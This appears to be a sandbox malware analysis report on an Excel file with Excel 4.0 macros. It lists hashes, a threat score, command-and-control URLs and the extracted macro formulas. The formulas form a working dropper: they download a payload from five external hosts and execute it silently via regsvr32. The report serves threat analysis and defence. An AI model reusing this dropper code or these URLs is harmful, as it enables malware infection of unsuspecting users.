367f1b686fd12e2ca4d0ed2caf27871e45ef70e4a5de65e0bcb358a8f932b09e

General

Target

367f1b686fd12e2ca4d0ed2caf27871e45ef70e4a5de65e0bcb358a8f932b09e
Size

173KB
Sample

241120-1zav8atrgt
MD5

e5854f94858f938d750ce75fd1adda82
SHA1

c1df97f7def7023a26896176a9d2ea576bd6327f
SHA256

367f1b686fd12e2ca4d0ed2caf27871e45ef70e4a5de65e0bcb358a8f932b09e
SHA512

6c297304e0e7995f1613b11d9594d32714c14b057c71711ddf95330981737eafa3a57588d1b9a1bbf8c11d36cf7621c322316a1efe9b788a8173c23e5e4daf8f
SSDEEP

3072:R8UjKwtyfsBMtuqBqBqrhyqBqBqBqrhyqmBqenFZRmXANKXg7e79ElHIcp4Gg7SS:R8SKwtyfsBMtuqBqBqrhyqBqBqBqrhyk

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

https://realitevirtuelleguadeloupe.com/warp-visa/xogkV/

https://nuugebeya.com/wp-content/LqCYYSBQ/

https://larassatistore.com/mail.tie-collection.my.id/SZZ0/

https://bimbeladzkia.com/1600-arrow/njvK9lEVwMfxQyw/

https://vendedoramigo.com.br/wp-admin/tfQwLyk4/

Attributes

formulas
=FORMULA() =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://realitevirtuelleguadeloupe.com/warp-visa/xogkV/","..\xxw1.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://nuugebeya.com/wp-content/LqCYYSBQ/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://larassatistore.com/mail.tie-collection.my.id/SZZ0/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://bimbeladzkia.com/1600-arrow/njvK9lEVwMfxQyw/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://vendedoramigo.com.br/wp-admin/tfQwLyk4/","..\xxw1.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\xxw1.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

https://realitevirtuelleguadeloupe.com/warp-visa/xogkV/

xlm40.dropper

https://nuugebeya.com/wp-content/LqCYYSBQ/

xlm40.dropper

https://larassatistore.com/mail.tie-collection.my.id/SZZ0/

xlm40.dropper

https://bimbeladzkia.com/1600-arrow/njvK9lEVwMfxQyw/

xlm40.dropper

https://vendedoramigo.com.br/wp-admin/tfQwLyk4/